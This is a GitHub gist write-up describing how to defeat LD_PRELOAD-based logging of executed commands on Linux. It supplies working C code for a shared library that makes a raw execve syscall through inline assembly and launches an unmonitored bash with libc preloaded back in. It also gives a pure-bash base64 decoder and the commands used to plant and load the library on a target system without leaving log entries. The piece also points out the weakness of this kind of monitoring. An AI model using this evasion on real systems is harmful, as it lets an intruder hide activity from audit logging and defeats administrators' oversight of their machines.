Skip to content

Instantly share code, notes, and snippets.

@dumblob
Created January 15, 2022 23:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dumblob/001bd3e7f0005908b8349af1ee10c3a9 to your computer and use it in GitHub Desktop.
Save dumblob/001bd3e7f0005908b8349af1ee10c3a9 to your computer and use it in GitHub Desktop.
antisnoopy: defeating LD_PRELOAD tracking of execve

There's some software floating around that uses LD_PRELOAD to track the commands executed on a Linux system. It does this by intercepting calls to the execve(3) library function and emitting a log entry for each such call. This can make sense from a "let's keep some kind of record of what my well-intentioned friends are doing on the system" perspective, but is pretty useless as a "defend against someone who is aiming to attack me" perspective.

For an overview of all of the approaches for process monitoring that are better than LD_PRELOAD, read Natan Yellin's post on The Difficulties of Tracking Running Processes on Linux.

How it works

The software in question is meant to be referenced in a system's /etc/ld.so.preload file. That config file, which is meant for emergencies and testing (not auditing), specifies libraries that should be loaded by the Linux runtime linker (ld.so) every time it starts up. Since the runtime linker is used by all dynamically-linked executables, any library loaded this way will be able to control the behavior of all dynamically-linked executables running on the system. Statically-linked executables, on the other hand, will not be subject to monitoring.

In this case, the loaded library will shim the exec*() library calls. When it receives a call to one of these functions, it gathers information about the current environment and program being run, formats it up into a log line, and connects to the local syslog daemon to persist the log line.

Defeat 1: Use a scripting language

Scripting languages like Python and Ruby can perform pretty much all of the things that a shell can do, largely without performing any execve() library calls. All of your standard file operations are available, plus plenty of socket operations, and finally the ability to dlopen() libraries of your choice. Scripting languages provide handy interactive capabilities, and when interactivity isn't needed, they also can take a program from stdin.

However, launching a scripting REPL would still leave an entry in the exec log. Would it be possible to circumvent the logging, while leaving no trace at all?

Defeat 2: Escape the shell

LD_PRELOAD does not, and cannot, prevent an execve(2) call from reaching the kernel. Instead, it intercepts calls to a function called execve() within libc. libc is—far and away—the most popular route for an execve() system call to be issued, but it is not the only such option. Statically linked executables, for instance, make use of their own internal functions for calling execve(), and thus bypass the LD_PRELOADed library. So if we can call the execve system call by some means other than via libc, we'll be able to spawn exactly a process without producing a log line.

Unfortunately, any process we launch will itself be subject to logging. So if we launched a shell, any commands run within that shell would be persisted. But LD_PRELOAD libraries are intentionally meant to be layered, with one atop another. Is there any way to layer our own library atop the existing shim, restoring the original behavior? Yes! It turns out we don't need to write our own library either. All we have to do is use LD_PRELOAD to put libc back, and then its behavior will take precedence.

export LD_PRELOAD=/lib/x86_64-linux-gnu/libc.so.6

But we're using bash, and bash is meant for calling binaries, not raw syscalls. To work around this issue, we can borrow a technique from Tavis Ormandy's ctypes.sh library by building a dynamically linked library that we will load into the shell as a plugin. (Apparently people are saying "you have gone too far with this" and "that's disgusting" about ctypes.sh. I think those people need to release their inhibitions and broaden their horizons).

Making a shared library that launches bash the moment it is loaded is straightforward:

$ cat antisnoopy.c
#include <sys/types.h>

#define NR_EXECVE 59

static inline int execve(const char *pathname, char *const argv[], char *const envp[])
{
    register int64_t rax __asm__ ("rax") = NR_EXECVE;
    register const char * rdi __asm__ ("rdi") = pathname;
    register const void *rsi __asm__ ("rsi") = argv;
    register char * const * rdx __asm__ ("rdx") = envp;
    __asm__ __volatile__ (
        "syscall"
        : "+r" (rax)
        : "r" (rdi), "r" (rsi), "r" (rdx)
        : "cc", "rcx", "r11", "memory"
    );  
    return rax;
}

int _init() {
  const char * bash = "/bin/bash";
  char * const argv[] = {bash, 0}; 
  char * const envp[] = {"LD_PRELOAD=/lib/x86_64-linux-gnu/libc.so.6", 0 };
  execve(bash, argv, envp);
}

$ gcc -s -nostdlib -shared antisnoopy.c -o antisnoopy.so

Then we're faced with an issue of how to get our freshly-compiled binary blob onto the target system. We can't use the system's base64 command, but pulling a pure bash implementation of base64 decoding out of a Github gist by markusfisch should work:

unbase64() {
  local SET='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
  local N=0 V=0 C S IFS=

  while read -r -d '' -r -n1 C
  do
    [ "$C" == $'\n' ] && continue

    if [ "$C" == '=' ]
    then
      V=$(( V << 6 ))
    else
      C=${SET#*$C}
      C=$(( ${#SET}-${#C} ))
      (( C )) || continue

      V=$(( V << 6 | --C ))
    fi

    (( ++N == 4 )) && {
      for (( S=16; S > -1; S -= 8 ))
      do
        C=$(( V >> S & 255 ))
        printf \\$(printf '%03o' $C)
      done

      V=0
      N=0
    }
  done
}

With our base64 function in place, all we need to do is paste the contents of our antisnoopy.so into the shell:

$ unbase64 > /tmp/antisnoopy <<EOF
[paste antisnoopy.so contents here]
EOF
$ enable -f /tmp/antisnoopy antisnoopy
[new shell launches, unmonitored]

You'll be waiting a few seconds because the in-shell base64 decoding is rather slow and antisnoopy.so is abominably large (14 kB). We can almost certainly whittle it down to a more reasonable size (maybe a few hundred bytes?), but that's a project for another night.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment